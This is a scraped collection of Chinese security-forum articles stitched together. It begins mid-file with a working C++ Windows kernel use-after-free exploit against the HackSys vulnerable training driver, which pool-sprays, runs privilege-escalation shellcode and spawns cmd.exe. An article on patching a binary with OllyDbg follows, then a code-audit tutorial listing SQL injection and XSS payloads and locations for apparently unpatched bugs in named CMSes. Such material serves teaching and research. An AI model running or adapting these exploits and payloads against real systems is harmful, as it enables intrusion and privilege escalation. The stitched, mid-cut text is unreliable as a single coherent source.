METHOD_NEITHER, FILE_ANY_ACCESS)
# define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN,
0x806, METHOD_NEITHER, FILE_ANY_ACCESS)
# define HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN,
0x807, METHOD_NEITHER, FILE_ANY_ACCESS)
// 声明了一个函数指针类型 FunctionPointer
typedef void (*FunctionPointer)();
// 使用 UseAfterFree.h 中的 USE_AFTER_FREE 结构体类型
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
// 声明一个 UNICODE_STRING 类型结构体
// 用于定义对象属性的 Unicode 字符串
// <https://docs.microsoft.com/en-us/windows/win32/api/lsalookup/ns-lsalookup-lsa_unicode_string>
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
// 定义用于 NtAllocateReserveObject 函数的对象属性
// <https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes>
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
UNICODE_STRING* ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
# define POBJECT_ATTRIBUTES OBJECT_ATTRIBUTES*
// 声明一个指向 NtAllocateReserveObject 函数的函数指针
// <https://wj32.org/wp/2010/07/18/the-nt-reserve-object/>
typedef NTSTATUS(WINAPI *_NtAllocateReserveObject)(
OUT PHANDLE hObject,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN DWORD ObjectType);
// 定义一个名为 spray_pool 的函数，传入一个参数 objects_n
std::pairstd::vector<HANDLE, std::vector<handle>> spray_pool(int
objects_n){</handle>
// 1/4 用于堆碎片整理，3/4 用于顺序堆分配
int defrag_n = 0.25 * objects_n;
int seq_n = objects_n - defrag_n;
std::cout << "Number of defrag objects to allocate: " << defrag_n << "\n"; // 输出正在分配碎片整理对象的数量
std::cout << "Number of sequential objects to allocate: " << seq_n << "\n"; // 输出正在分配顺序对象的
// 定义两个vector，分别用于存储所有分配的内核对象的句柄，其中一个用于存储顺序分配的句柄，另一个用于存储碎片整理的句柄
std::vector<handle> defrag_handles;
std::vector<handle> seq_handles;</handle></handle>
// 从ntdll.dll中获取NtAllocateReserveObject的地址，它是一个函数指针，用于在系统堆上分配内存
_NtAllocateReserveObject NtAllocateReserveObject =
(_NtAllocateReserveObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateReserveObject");
//如果无法获取NtAllocateReserveObject的地址，则输出错误消息并退出程序
if (!NtAllocateReserveObject){
std::cout << "Could not get NtAllocateReserveObject\n";
exit(1);
}
//对于defrag_n个内核对象，循环遍历，分配每个对象，使用1作为对象类型，以便分配IoCompletionReserve对象, 分配的对象句柄存储在defrag_handles vector中
for (int i = 0; i < defrag_n; i++){
HANDLE handle = 0;
PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&handle, NULL, 1);
defrag_handles.push_back(handle);
}
//对于seq_n个内核对象，循环遍历，分配每个对象，使用1作为对象类型，以便分配IoCompletionReserve对象。分配的对象句柄存储在seq_handles vector中
for (int i = 0; i < seq_n; i++){
HANDLE handle = 0;
PHANDLE result = (PHANDLE)NtAllocateReserveObject((PHANDLE)&handle, NULL, 1);
seq_handles.push_back(handle);
}
//输出分配的内核对象的总数，以及顺序和碎片整理的内核对象的数量
std::cout << "Allocated " << defrag_handles.size() << " defrag objects\n";
std::cout << "Allocated " << seq_handles.size() << " sequential objects\n";
//返回一个std::pair对象，包含defrag_handles和seq_handles，即碎片整理和顺序分配的句柄向量
return std::make_pair(defrag_handles, seq_handles);
}
int main(int argc, char* argv[]){ //主函数的声明，包含两个参数：argc（参数计数）和argv（参数数组）
if (argc < 2){
std::cout << "Usage: " << argv[0] << " <number-of-pool-allocations>\n";
exit(1);
} //这个条件判断检查是否提供了正确的命令行参数，如果没有，则输出用法信息并退出程序</number-of-pool-allocations>
int poolAllocs = atoi(argv[1]); //这一行代码将第二个命令行参数转换为整数并将其存储在poolAllocs变量中，以便指定要在内核中创建的对象数量
char devName[] = "\\\\.\\HackSysExtremeVulnerableDriver"; //声明了一个字符串，用于指定要打开的设备的名称，即HackSysExtremeVulnerableDriver
DWORD inBuffSize = 1024;
DWORD bytesRet = 0;
BYTE* inBuffer = (BYTE*) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, inBuffSize);
RtlFillMemory(inBuffer, inBuffSize, 'A');
//分配了一个大小为1024字节的缓冲区，并使用RtlFillMemory函数将其填充为'A', 这个缓冲区将用于向设备发送I / O控制代码（IOCTL）
std::cout << "Getting handle to driver";
HANDLE dev = CreateFile(devName, GENERIC_READ | GENERIC_WRITE,
NULL, NULL, OPEN_EXISTING, NULL, NULL);
//获取到设备的句柄，并用于之后与设备进行通信。如果句柄无效，则程序将退出
if (dev == INVALID_HANDLE_VALUE){
std::cerr << "Could not get device handle" << std::endl;
return 1;
}
//调用spray_pool函数来分配内存池对象，同时返回分配的对象句柄
std::cout << "Spraying the pool\n";
std::pair<std::vector<HANDLE>, std::vector<HANDLE>> handles = spray_pool(poolAllocs);
//循环创建内存池中的对象空闲块，通过关闭一些对象的句柄来实现
std::cout << "Creating " << handles.second.size() << " holes\n";
for (int i = 0; i < handles.second.size(); i++){
if (i % 2){
CloseHandle(handles.second[i]);
handles.second[i] = NULL;
}
}
std::cout << "Sending IOCTLs\n"; //输出消息，表示正在发送IOCTL代码
//调用DeviceIoControl函数向设备发送IOCTL代码来分配UAF对象,IOCTL代码是通过定义在HackSysExtremeVulnerableDriver.h中的HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT宏
std::cout << "Allocating UAF Object\n";
BOOL status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT,
inBuffer, inBuffSize,
NULL, 0, &bytesRet, NULL);
//调用DeviceIoControl函数向设备发送IOCTL代码来告诉设备驱动程序释放已分配的UAF对象
std::cout << "Freeing UAF Object\n";
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT,
inBuffer, inBuffSize,
NULL, 0, &bytesRet, NULL);
// 该 shellcode 会执行一个 cmd.exe 程序
char payload[] = (
"\x60"
"\x64\xA1\x24\x01\x00\x00"
"\x8B\x40\x50"
"\x89\xC1"
"\x8B\x98\xF8\x00\x00\x00"
"\xBA\x04\x00\x00\x00"
"\x8B\x80\xB8\x00\x00\x00"
"\x2D\xB8\x00\x00\x00"
"\x39\x90\xB4\x00\x00\x00"
"\x75\xED"
"\x8B\x90\xF8\x00\x00\x00"
"\x89\x91\xF8\x00\x00\x00"
"\x61"
"\x31\xC0"
"\xC3"
);
// 1.获取Shellcode的地址并将其复制到虚拟分配的内存区域中
DWORD payloadSize = sizeof(payload);
LPVOID payloadAddr = VirtualAlloc(NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
memcpy(payloadAddr, payload, payloadSize);
LPVOID payloadAddrPtr = &payloadAddr;
//VirtualAlloc()函数用于在进程的虚拟地址空间中分配内存，将Shellcode复制到此区域中
//memcpy()函数用于将Shellcode从其初始位置复制到此区域中
//payloadAddrPtr指向payloadAddr的地址，可以在后面用于生成Fake Object
std::cout << "Payload adddress is: " << payloadAddr << '\n';
// 2.设置Fake Object的结构，以匹配UAF Object的结构
DWORD totalObjectSize = 0x58;
BYTE payloadBuffer[0x58] = {0};
memcpy(payloadBuffer, payloadAddrPtr, 4);
//totalObjectSize表示Fake Object的大小
//payloadBuffer用于存储Fake Object的数据
//memcpy()函数用于将Shellcode地址复制到Fake Object中
//3.分配Fake Object，并将Fake Object的数据写入到内核中
std::cout << "Allocating fake objects\n";
std::cout << "Allocating " << handles.second.size() / 2 << " fake objects\n";
for (int i = 0; i < handles.second.size() / 2; i++){
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT,
payloadBuffer, totalObjectSize, NULL,
0, &bytesRet, NULL);
}
//DeviceIoControl()函数用于向内核发送IOCTL请求，并将Fake Object的数据写入到内核中
//这个循环创建了足够的Fake Object，以便在内核中填充UAF Object的位置
//4.使用之前释放的UAF对象
std::cout << "Using UAF Object after free\n";
status = DeviceIoControl(dev, HACKSYS_EVD_IOCTL_USE_UAF_OBJECT,
inBuffer, inBuffSize,
NULL, 0, &bytesRet, NULL);
//DeviceIoControl()函数用于向内核发送IOCTL请求，以使用UAF Object，并在其中执行Shellcode
//5.生成新进程并启动shell
std::cout << "Spawning shell\n";
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
STARTUPINFOA si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
//CreateProcessA()函数用于创建新进程，并在其中启动命令行
//6.关闭设备并退出程序
CloseHandle(dev); //CloseHandle()函数用于关闭设备句柄
return 0;
} | 社区文章 |
# 【技术分享】如何反汇编二进制代码打补丁
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/patching-reversing-binary/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[testvul_001](http://bobao.360.cn/member/contribute?uid=780092473)
稿费：130RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
生产环境中的软件通常会存在一些漏洞，这些漏洞可能是由于糟糕的编码实践或者在软件开发生命周期里对安全的处理代码参数缺乏足够的认识造成的，最终导致漏洞被黑客利用。攻击软件同时需要安全策略能力和开发技能，但是很不幸，很多开发商本身也不具备这些能力。在本篇中，我们将展示在没有源代码的情况下怎么通过反汇编来给软件打补丁（存在缓冲区溢出漏洞）。
**有漏洞的软件**
给软件打补丁是一种通过反汇编找到有问题的代码段并修改有问题代码的方法。我们的例子是一个很简单的程序，它接受用户输入的一段字符串，然后再输出到屏幕上。
但是这个程序存在一个问题，机智的黑客很容易就会发现它。这里开发者忘记验证用户的输入了，假如用户输入的字符串长度超过了预期怎么办？现在我们就输入超长的字符串，程序出现了一些异常，系统提示了一个缓冲区溢出错误并终止了（缓冲区溢出漏洞不属于本篇的内容，请读者自行了解）。这个异常不是程序的预期结果。
**分析BUG**
现在我们已经知道程序存在缓冲区溢出漏洞了，但是我们没有源代码该怎么修复呢？当然有办法，现在已经有很多著名的逆向工程工具了，这里我们将使用IDA
Pro和Ollydbg来完成任务。首先使用IDA
Pro打开可执行程序，通过查看汇编代码我们很快就能发现漏洞的原因了，scanf函数没有检查输入字符串的长度（%s）。
我们已经找到要修复的代码段了（scanf），现在只需要在格式化输入字符串中加入一个整数就可以解决问题了（例如%10s）。但是我们现在不知道原来代码里存储用户输入字符串的字符数组的大小，要解决这个问题我们在Ollydbg中打开可执行程序。我们可以很轻松的发现数组的大小是16，OD同时也显示了
%s 字符串的偏移地址。
所以用%15s替换%s就可以修复这个漏洞，找到下图高亮的代码段并按下CTRL+G我们就可以直接访问地址0040401B了。
下面我们就要修改指令了AND EAX 590A0073（16进制的代码25 73 实际上就是%s）。
为了更好的理解，我们可以在16进制编辑器中查看需要修改的代码块（地址0040401B）。
**打补丁**
要在二进制代码中打上补丁，我们需要选中地址0040401B并按空格键（我们需要把%15s写到这里）。
在把%15s输入前，我们需要先把它转换为16进制。
现在我们可以用31:35:73 (%15s) 替代590A073了，但是在内存中我们需要调换一下位置，即733531，因为16进制代码在执行时总是后进先出。
最后，右击0040401B地址处，然后点击Edit标签中的“copy to executable”来永久保存我们的修改。
这时会出现一个新的窗口，关闭它的时候会提示是否保存。我们保存并为程序取一个新名字，然后在OD中再次打开这个新的程序，因为还有一些工作没有做完。一次成功的补丁不仅恩能够修复漏洞，而且程序还要能够像以前一样正常运行。这里我们修复了缓冲区漏洞，但是程序并不能正常运行，原因是我们增加的字节影响了原来的程序执行流程。CTRL+G跳转到0040401E：
这里我们可以发现JNB SHORT 00404020指令跳转出错了，它应该跳转到输出字符串的printf函数处，正确的地址是0040402D。
在0040401E处我们按下空格键并修改代码。
然后我们在0040401E处再次右键并“copy to
executable”保存一个新的可执行文件。现在我们执行可执行文件，并随便输入超过16个字节的字符串，可以看到一切正常。
**总结**
软件里的漏洞会被黑客以任何可能的理由利用，不管这些漏洞是有意或者无意形成的，在这篇文章中我们都学会了如果通过逆向工程在没有源代码的情况下给程序打补丁。 | 社区文章 |
## 前言
仅以本文记录暑假这些天在学习代码审计过程中遇到的一些知识点，以及一些代码审计常用的方法，如果有什么不对的地方，也欢迎师傅们斧正，在下面讲解常见漏洞时，我会举一些例子，其中包括部分小0day，如果有其他好玩的漏洞点，也希望师傅们能ddw。
## 代码审计是什么
由于我现在接触到的只有WEB层的代码审计，所以我个人的理解是对网站源码进行分析，从而找出攻击者可以利用的点。
## 代码审计基本步骤
当我拿到一份源码时，我一般会先从入口文件开始审。
* 入口文件
一般是index.php，这个文件里会给你定义一大堆常量，包括根目录路径/核心文件路径/表前缀之类，这些我认为是我们不需要管的，我们需要审的点是网站与用户交互的点。入口文件一般会先判断你是否存在安装锁或者配置文件，如果不存在就跳到安装目录，开始安装整个网站。
* 文件监控
我会粗略的先看一遍安装文件(setup/install.php)，如果确定没洞了我就会把文件监控打开，然后把安装的流程走一遍，开文件监控有助于我们观察整个网站目录的变化，日志敏感信息泄露，日志记录等这些点都是可以看得到的。
* 正式审计
我把审计分为安装前和安装后两个部分，安装前审完了之后我们就可以开始看网站的其他文件是否存在漏洞了，这个时候一般分为两种审计方式：
1.通过危险函数逆推是否用户可控
2.通读所有代码
3.黑盒+白盒
我一般都会用第一种或者第二种方式，第一种方式能够快速的找到漏洞但是漏的可能会多，第二种方式一般用在规模比较小的cms，因为文件较少，所以代码全看了也花不了多少功夫，第三种我很少用，我觉得这是新手审计的缺点，其实更应该黑盒+白盒一起用的，因为在黑盒里我们可能可以发现一些看代码的时候不注意的漏洞，比如越权/逻辑等漏洞。
* 分析源码目录
我们在这个步骤只需要对源码目录有个大概的了解，知道每个目录里放的是什么文件就行了，比如install目录放的安装文件，admin目录放的后台管理相关的文件，function目录放的网站运行时需要用到的方法的相关文件等。
* 分析过滤情况
在这个步骤我们要对源码的过滤情况进行分析，看看是全局过滤还是单独写某个函数用于对输入点一个个的过滤。
全局过滤一般只会对XSS/SQL进行过滤，比如网站可能会写一个函数，对`$_GET/$_POST/$_COOKIE`进行过滤。
例：
function zc_check($string){
if(!is_array($string)){
if(get_magic_quotes_gpc()){
return htmlspecialchars(trim($string));
}else{
return addslashes(htmlspecialchars(trim($string)));
}
}
foreach($string as $k => $v) $string[$k] = zc_check($v);
return $string;
}
if($_REQUEST){
$_POST =zc_check($_POST);
$_GET =zc_check($_GET);
$_COOKIE =zc_check($_COOKIE);
@extract($_POST);
@extract($_GET);
}
这种就是全局过滤，一般会在某个文件里，然后每个文件都会包含这个文件。
比如在zzcms里，这是inc/stopsqli.php：
然后可以看到index.php里包含了conn.php：
而conn.php里又会包含这个stopsqli.php：
这样只要包含了conn.php的文件，就会对用户输入的参数进行全局过滤。
第二种就是针对性过滤，程序员可能会写一个函数，不会直接把全局变量放进去过滤，而是针对性的过滤。
例：
function sqlchecks($StrPost){
$StrPost=str_replace("'","’",$StrPost);
$StrPost=str_replace('"','“',$StrPost);
$StrPost=str_replace("(","（",$StrPost);
$StrPost=str_replace(")","）",$StrPost);
$StrPost=str_replace("@","#",$StrPost);
$StrPost=str_replace("/*","",$StrPost);
$StrPost=str_replace("*/","",$StrPost);
return $StrPost;
}
程序的正常过滤情况：
$currentpage=UsualToolCMS::curPageURL();
$l=UsualToolCMS::sqlcheck($_GET["l"]);
$id=UsualToolCMS::sqlcheck($_GET["i"]);
$t=UsualToolCMS::sqlcheck($_GET["t"]);
这种我把他称为局部过滤，即点对点的过滤。
如果看不明白过滤情况，可以直接在网站随便一个文件内写一个内容：
var_dump($_GET);
exit();
这样写了之后就可以看到是否对单引号进行转义以及过滤了，注意这里需要在包含完所有文件后再写这段代码。
## 常见漏洞挖掘
### 重装漏洞
我把代码审计分为安装前和安装后两个部分，这样比较容易区分开漏洞，重装漏洞导致的原因有这么几个：
1.代码中并未判断安装锁程序是否存在就进入了安装程序
2.代码中判断了安装锁是否存在，但是没有用exit或die退出PHP程序，只是用了header函数来指定location，这样实际上是没有效果的，依旧存在重装漏洞。
3.代码中判断了安装锁是否存在，使用了exit或die函数退出PHP程序，但只在某个步骤例如step1判断了，而安装程序是分开进行的，也就是说我们可以直接跳过step1进入step2/3/4等。
4.代码中判断了安装锁是否存在，并且是在开头判断的，如果存在就使用exit或die退出PHP程序，这时候如果我们想重装只有一个办法，就是删除/修改安装锁文件，具体看代码是怎么写的，如果是判断存在我们就要找一个文件删除漏洞，如果是判断文件内容我们可以找一个修改文件内容的点，这时也算是组合拳导致重装漏洞，不算是单纯的重装漏洞了。
以上就是我总结的重装漏洞经常出现的几个场景。
例：
5isns重装漏洞：
install/index.php：
<?php
define('DEBUG', 2);
define('ROOT_PATH', substr(dirname(__FILE__), 0, -7));
define('INSTALL_PATH', dirname(__FILE__).'/');
$conf = (include ROOT_PATH.'data/config/conf.default.php');//得到默认配置
$conf_db = (include ROOT_PATH.'data/config/db.default.php');//得到默认配置
$conf = array_merge($conf,$conf_db);
$conf['log_path'] = ROOT_PATH.$conf['log_path'];
$conf['tmp_path'] = ROOT_PATH.$conf['tmp_path'];
include ROOT_PATH.'basephp/base.php';
include INSTALL_PATH.'func.php';
$action = param('action');
is_file(ROOT_PATH.'/data/config/db.php') AND DEBUG != 2 AND message(0, jump('安装向导', '../'));
以上即为安装前面所有的判断，可以发现，并没有判断锁文件是否存在。并且安装文件不会自删除，所以此处存在一个重装漏洞。
至于重装漏洞可以干什么，我总结了一下：
1.在安装时写入配置文件getshell
2.重装后登录后台getshell
### SQL注入
在挖掘SQL注入这类型的漏洞之前，我们要先清楚数据库使用的编码方式，如果是GBK则可能造成宽字节注入，从而addslashes这类函数就可以直接绕过。
其次要清楚的是程序是局部过滤还是全局过滤，不管是全局过滤还是局部过滤，我都把情况分为两种：
1.对关键字进行过滤
2.使用PHP函数进行过滤
#### 全局过滤：
首先如果是全局过滤的话，如果仅仅是对关键字进行过滤，那我们只需要考虑如何绕过这个关键字过滤。
例：
<?php
function replace($str){
return preg_replace('/union|select|time|sleep|case|when|substr|update/i','',$str);
}
foreach(array('_GET','_POST','_COOKIE') as $request)
{
foreach($$request as $_k => $_v)
{
${$_k} = replace($_v);
}
}
这就是程序的一个过滤并注册变量的函数，会把_GET/_POST/_COOKIE中的键对值经过过滤后注册变量。
现在我们可以来看看过滤函数，一个很简单的过滤，把union/select这些关键字替换为空，现在我们要想绕过这个过滤函数的办法，既然替换为空，那么我们可以这么构造：ununionon，这样经过过滤之后值就变为union了，也就是师傅们常说的双写绕过，绕过了过滤函数之后，注入就变得很简单了。
但大多数CMS都不会使用对关键字进行过滤这种方式而是使用转义的方式，即使用addslashes函数。
由于addslashes函数会将单引号/双引号/NULL等字符前面自动加上一个\作为转义，所以正常情况下我们的单引号或者双引号是无法闭合的。
所以在这种情况下如果想挖SQL注入我们得观察以下几个点：
* 数据库编码
如果数据库使用的不是UTF-8编码而是GBK，我们就可以直接无视掉这个过滤，使用宽字节注入。
* 数字型注入
所谓数字型注入，即未用引号包裹就代入查询，那么既然没有引号包裹，我们想要注入自然也就不需要闭合引号。
* 注入前对参数进行解码
常见的如urldecode/base64decode等，如果在注入前对参数进行了解码，我们就可以使用二次编码进行注入。
* 未包含过滤文件
有的程序没有包含过滤文件也进行了数据库相关操作，这种情况我们就可以直接无视全局过滤进行注入。
* 二次注入
由于二次注入还没挖到过，也就不在这里班门弄斧了。
* LIMIT注入
这算是比较鸡肋的点把，实际上也可以归类未数字型注入那一块，因为LIMIT后是可以注入的，而LIMIT后的变量一般都是数字，所以不会进行过滤，直接代入数据库查询，这样也是可以造成SQL注入的，但由于MYSQL高版本在LIMIT后无法使用select，所以说这是一个比较鸡肋的点。
* 未使用过滤函数的全局变量
比如程序只对GET/POST使用了全局过滤，而COOKIE没使用，这时候我们就可以找哪个地方代入COOKIE中的变量进入数据库进行查询。
最常见的其实是XFF注入，因为大多数情况全局过滤都不会过滤`$_SERVER`，而如果程序获取用户IP的情况是可控的，比如`$_SERVER['HTTP_X_FORWARDED']`，并将IP代入数据库操作中，那么就可以直接无视全局过滤进行注入。
#### 局部过滤
如果程序使用的是局部过滤，那么除了全局过滤以上的几种方法我们可以考虑之外，还可以考虑他哪些输入点没有使用过滤函数。
例：
* UsualToolCMS最新版前台注入
首先程序写了一个过滤函数进行局部过滤：
function sqlchecks($StrPost){
$StrPost=str_replace("'","’",$StrPost);
$StrPost=str_replace('"','“',$StrPost);
$StrPost=str_replace("(","（",$StrPost);
$StrPost=str_replace(")","）",$StrPost);
$StrPost=str_replace("@","#",$StrPost);
$StrPost=str_replace("/*","",$StrPost);
$StrPost=str_replace("*/","",$StrPost);
return $StrPost;
}
程序的正常过滤情况：
$currentpage=UsualToolCMS::curPageURL();
$l=UsualToolCMS::sqlcheck($_GET["l"]);
$id=UsualToolCMS::sqlcheck($_GET["i"]);
$t=UsualToolCMS::sqlcheck($_GET["t"]);
这种情况如果我们想找一个SQL注入，最简单的办法就是找哪个变量是我们可控的且没有使用过滤函数的，而刚好我也找到了一处：
/paypal/index.php：
require "config.php";
$no=trim($_GET["no"]);
$myorder=$mysqli->query("select ordernum,summoney,unit from `cms_order` WHERE ordernum='$no'");
可以看到，这里的$no变量没有使用过滤函数就直接代入了数据库进行查询，从而导致了SQL注入，我们可以验证一下：
这里由于数据无回显，且程序默认关闭了报错显示，所以我用的延时注入，在此也感谢蝴蝶刀师傅教了我一种新的延时技巧。
### XSS
XSS也分为反射型、存储型以及DOM型。
#### 反射型XSS
当我们想挖掘这类漏洞时，需要重点关注程序的输出，比如echo/print等，当程序直接将未经过滤的用户输入输出除了，就会造成反射型XSS。
而这类漏洞我挖的最多的情况是：
echo $_GET['callback'].(...);
也就是JSONP处，其实大多数反射型的XSS都一样，在PHP中一般都是使用echo这类代码将输入直接输出出来。
下面举几个反射型XSS的例子：
* phpwcms最新版反射型XSS
/image_zoom.php：
$img = base64_decode($_GET["show"]);
# echo base64_encode('?onerror="alert(1)"');
# exit();
list($img, $width_height) = explode('?', $img);
# echo $width_height;
# exit();
$img = str_replace(array('http://', 'https://', 'ftp://'), '', $img);
$img = strip_tags($img);
$width_height = strip_tags($width_height);
$img = urlencode($img);
}
?><!DOCTYPE html>
<html>
<head>
<title>Image</title>
<meta charset="<?php echo PHPWCMS_CHARSET ?>">
<script type="text/javascript" src="<?php echo TEMPLATE_PATH; ?>inc_js/imagezoom.js"></script>
<link href="<?php echo TEMPLATE_PATH; ?>inc_css/dialog/popup.image.css" rel="stylesheet">
</head>
<body><a href="#" title="Close PopUp" onclick="window.close();return false;"><img src="<?php echo $img ?>" alt="" border="0" <?php echo $width_height ?>></a></body>
</html>
程序会先对传递进来的变量进行base64decode，并拼接进`<img>`标签内，由于这里使用了strip_tags()函数，所以我们肯定是不能自己闭合后再构建一个新的标签的，但是由于拼接在img标签内，所以我们可以直接在img标签内X。
payload：
http://phpwcms/image_zoom.php?show=P29uZXJyb3I9ImFsZXJ0KDEpIg==
* ThinkLC分类信息系统前台反射型XSS
api/userinfo.php：
if ( isset( $_GET['jsoncallback'] ) ) {
echo $_GET['jsoncallback'] . '(' . json_encode( $user ) . ')';
} else {
echo 'var user={uid:' . $user['uid'] . ',gid:' . $user['gid'] . ',score:' . $user['score'] . ',cart:' . $user['cart'] . ',money:' . $user['money'] . ',name:"' . $user['name'] . '",email:"' . $user['email'] . '",oauth:"' . $user['oauth'] . '",mobile:"' . $user['mobile'] . '",authmobile:' . $user['authmobile'] . ',token:"' . $user['token'] . '"};';
}
可以看到这类是jsonp的点，一般这种点的content-type应该为json，但是程序并没有设置，所以默认情况下是text/html的，而未对GET传递进来的变量就输出出来，同样造成了反射型XSS：
payload：
http://saxuecms/api/userinfo.php?jsoncallback=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
* Catfish最新版前台反射型XSS
<?php
/**
* Project: Catfish.
* Author: A.J
* Date: 2017/8/8
*/
namespace app\catfishajax\controller;
use think\Request;
use think\Hook;
use think\Url;
class Index extends Common
{
public function index(Request $request)
{
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$host = $_SERVER['HTTP_HOST'];
$len = Request::instance()->isSsl() ? 8 : 7;
if(substr($referer,$len,strlen($host)) == $host)
{
$this->params = $request->param();
Hook::add('catfish_ajax',$this->plugins);
Hook::listen('catfish_ajax',$this->params,$this->ccc);
if(isset($this->params['return']))
{
echo $this->params['return'];
}
}
else
{
$this->redirect(Url::build('/'));
exit();
}
}
}
漏洞代码：
$this->params = $request->param();
if(isset($this->params['return']))
{
echo $this->params['return'];
}
可以看到直接将用户输入给输出出来了，并未经过任何过滤，然鹅要输出得先满足一个条件：
if(substr($referer,$len,strlen($host)) == $host)
所以这个漏洞实际上还是有点鸡肋的。只是为了理解反射型XSS产生的位置以及可能产生的原因，所以以此为例。
复现：
#### 存储型XSS
存储型XSS是由于网站将用户输入存储进数据库中，当用户再次浏览某页面时，从数据库中获取之前的输入并输出，如果在输入->数据库这块过程中没有进行实体化编码以及输出->页面的过程中没进行实体化编码，则很容易产生存储型XSS。
例：
鲇鱼CMS留言处存储型XSS：
之前我看到有这个漏洞报告，懒得下之前的版本了，直接拿最新版改改代码复现：
public function liuyan()
{
$rule = [
'neirong' => 'require',
'youxiang' => 'email'
];
$msg = [
'neirong.require' => Lang::get('Message content must be filled out'),
'youxiang.email' => Lang::get('The e-mail format is incorrect')
];
$data = [
'neirong' => Request::instance()->post('neirong'),
'youxiang' => Request::instance()->post('youxiang')
];
$validate = new Validate($rule, $msg);
if(!$validate->check($data))
{
echo $validate->getError();
exit;
}
$data = [
'full_name' => Request::instance()->post('xingming'),
'email' => htmlspecialchars(Request::instance()->post('youxiang')),
'title' => htmlspecialchars(Request::instance()->post('biaoti')),
'msg' => htmlspecialchars(Request::instance()->post('neirong')),
'createtime' => date("Y-m-d H:i:s")
];
Db::name('guestbook')->insert($data);
return 'ok';
}
这里full_name处的代码是被我改了的，原本加了一个htmlspecialchars的。
在代码中可以看到，程序直接将我们的xss代码写入了数据库并未做实体化，让我们再来看看输出的地方，这里要先重点关注存储进的表`guestbook`。
一般找存储型XSS就是看程序哪个地方将我们输入的数据插入数据库而不做实体化处理，然后再找哪个地方使用了这个表。
在这里我们可以全局搜索guestbook来查找使用了这个表的位置，快速定位输出点：
可以看到有这么几个地方用了guestbook的表，看看漏洞触发位置：
public function messages()
{
$this->checkUser();
$this->checkPermissions(5);
$data = Db::name('guestbook')->order('createtime desc')->paginate(10);
$this->assign('data', $data);
$this->assign('backstageMenu', 'neirong');
$this->assign('option', 'messages');
return $this->view();
}
可以看到程序将查询出来的结果直接代入模板中了，所以就产生了存储型XSS。
复现：
* 鲇鱼CMS最新版存储型XSS(收藏处)
public function shoucang()
{
$data = Db::name('user_favorites')->where('uid',Session::get($this->session_prefix.'user_id'))->where('object_id',Request::instance()->post('id'))->field('id')->find();
if(empty($data))
{
$postdata = Db::name('posts')->where('id',Request::instance()->post('id'))->field('id,post_title,post_excerpt')->find();
$data = [
'uid' => Session::get($this->session_prefix.'user_id'),
'title' => $postdata['post_title'],
'url' => 'index/Index/article/id/'.Request::instance()->post('id'),
'description' => $postdata['post_excerpt'],
'object_id' => Request::instance()->post('id'),
'createtime' => date("Y-m-d H:i:s")
];
Db::name('user_favorites')->insert($data);
}
return true;
}
程序将用户输入post('id')直接insert进数据库而不检查内容，从而导致了存储型XSS。
数据包：
虽然只是个self-xss，但如果结合CSRF，危害就会扩大很多。
复现：
点击个人中心收藏处即可触发：
所以找存储型XSS的办法实际上是：重点关注insert，查找insert表内数据的输出位。
如果有误，希望师傅斧正。
### CSRF
既然要找CSRF，那肯定是要找一些危害比较大的，而不去管一些小的功能点，比如CSRF更改姓别等...
所以如果我们在找这方面的漏洞时，可以首先寻找后台的一些功能点(添加管理员/修改管理员密码)等，CSRF多是由于没有验证token及referer而存在。
而有时候后台CSRF配合上一些后台的漏洞往往能造成一些大的危害，如任意文件上传+上传点处CSRF = Getshell。
这类漏洞很容易找，而且我建议使用黑盒去找，方便些也快一些，让我们来看看一些不存在CSRF的CMS他们的后台添加管理员的数据包是怎样的：
POST /index.php/admin/Index/addmanageuser.html HTTP/1.1
Host: nianyu
Content-Length: 126
Cache-Control: max-age=0
Origin: http://nianyu
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: think_var=zh-cn; PHPSESSID=0diflkok1m4s1qi2cl04cbe1b5
Connection: close
yonghuming=admin1&pwd=12345678&repeat=12345678&juese=6&checkCode=818391564379848&verification=dfb048d5f2451c08ff35711fec9dc697
可以看到多了checkCode和verification两个参数，这两个参数是用来验证是否为管理员操作的，可以把他们当作token，而由于这两个参数是随机的，所以这里也就不存在CSRF。
